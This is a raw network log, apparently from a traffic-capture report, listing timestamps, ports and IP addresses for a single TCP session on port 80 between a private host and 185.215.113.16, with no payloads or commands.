Dec 27, 2024 14:56:39.962944984 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.962996006 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.963077068 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.963880062 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.963922977 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.963978052 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.964813948 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.964850903 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.964896917 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.965574026 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.965749025 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.965794086 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.965821981 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.966785908 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.966799021 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.966841936 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.967611074 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.967705965 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.967752934 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.968545914 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.968590975 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.968673944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.969530106 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.969568968 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.969702005 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.970400095 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.970429897 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.970444918 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.971344948 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.971390963 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.971432924 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.972328901 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.972373009 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.972381115 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.973201990 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.973256111 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.973305941 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.974176884 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.974226952 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.974250078 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.975156069 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.975205898 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.975218058 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.976011992 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.976062059 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.976129055 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.976933002 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.977013111 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.977030039 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.977833033 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.977885962 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.977937937 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.978782892 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.978882074 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.978949070 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.979708910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.979756117 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.979796886 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.980648041 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.980695963 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.980730057 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.981581926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.981630087 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.981662989 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.982515097 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.982558966 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.982558966 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.983454943 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.983494997 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.983552933 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.984411955 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.984457970 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.984499931 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.985306978 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.985352993 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.985394001 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.986304998 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.986346960 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.986424923 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.987166882 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.987250090 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.987272978 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.988142967 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.988193989 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.988250971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.989062071 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.989111900 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.989188910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.990022898 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.990068913 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.990093946 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.990926027 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.990976095 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.991036892 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.991830111 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.991869926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.991873026 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.992784977 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.992837906 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.992876053 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.993714094 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.993762970 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.993823051 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.994617939 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.994664907 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.994726896 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.995575905 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.995682955 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.995706081 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.996507883 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.996551037 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.996633053 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.997452021 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.997479916 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.997499943 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.998353958 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.998450994 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.998492002 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:39.999284983 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.999385118 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:39.999423981 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.000225067 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.000329971 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.000329971 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.001158953 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.001204014 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.001233101 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.002079964 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.002175093 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.002177954 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.003007889 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.003057003 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.003078938 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.010344982 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.165616035 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.165680885 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.165743113 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.166083097 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.166126013 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.166259050 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.166763067 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.166904926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.166953087 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.167823076 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.167933941 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.168606997 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.168642998 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.168725014 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.169553995 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.169598103 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.169603109 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.169644117 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.170510054 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.170654058 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.171222925 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.171432018 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.171540022 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.171587944 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.172367096 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.172420025 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.172466040 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.173261881 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.173378944 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.173434973 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.174180984 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.174288034 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.174377918 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.175131083 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.175189018 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.175234079 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.176153898 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.176244020 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.176295996 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.176990986 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.177107096 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.177150965 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.178082943 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.178148985 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.178268909 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.178970098 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.179117918 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.179164886 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.179800034 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.179919004 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.179980993 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.180773020 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.180851936 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.180916071 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.181660891 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.181793928 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.181839943 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.182615042 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.182857037 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.182895899 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.183532953 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.183645010 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.183763981 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.184463024 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.184577942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.184623003 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.185376883 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.185528040 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.185570955 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.186296940 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.186404943 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.186547041 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.187251091 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.187375069 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.187413931 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.188185930 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.188277960 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.188324928 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.189106941 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.189198017 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.189281940 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.190032959 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.190213919 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.190330982 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.190952063 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.191046000 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.191099882 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.191890001 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.192074060 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.192111969 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.192817926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.192929029 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.192966938 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.193764925 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.193866014 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.193909883 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.194686890 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.194802046 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.194844961 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.195615053 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.195748091 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.195790052 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.196566105 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.196681023 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.196719885 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.197524071 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.197616100 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.197705984 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.198411942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.198554039 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.198601007 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.199350119 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.199441910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.199527025 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.200293064 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.200398922 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.200542927 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.201232910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.201327085 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.201370001 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.202140093 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.202260017 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.202313900 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.203093052 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.203198910 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.203243017 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.204075098 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.204180002 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.204955101 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.205008030 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.205065012 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.205107927 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.205895901 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.206007957 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.206058025 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.206803083 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.206906080 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.207422018 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.207731009 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.207865953 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.207928896 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.208713055 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.208775043 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.208816051 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.209722042 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.209830046 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.209872961 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.210551977 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.210644960 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.210695028 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.211473942 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.211570024 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.211651087 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.212415934 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.212512970 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.212584972 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.213320017 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.213419914 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.213464022 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.214272022 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.247112036 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.263935089 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.376118898 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.376195908 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.376317024 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.376580000 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.376662970 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.376734018 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.377484083 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.377705097 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.378396988 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.378439903 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.378503084 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.378797054 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.379348993 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.379451990 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.379652977 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.380263090 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.380404949 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.380495071 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.381186962 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.381300926 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.381671906 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.382127047 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.382216930 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.382266045 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.383050919 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.383179903 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.383219004 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.383985996 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.384130001 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.384977102 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.385021925 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.385035038 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.385714054 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.385880947 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.386073112 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.386116028 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.386790991 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.387001038 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.387042046 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.387758970 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.387945890 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.387996912 CET	49759	80	192.168.2.7	185.215.113.16
Dec 27, 2024 14:56:40.388752937 CET	80	49759	185.215.113.16	192.168.2.7
Dec 27, 2024 14:56:40.388873100 CET	80	49759	185.215.113.16	192.168.2.7
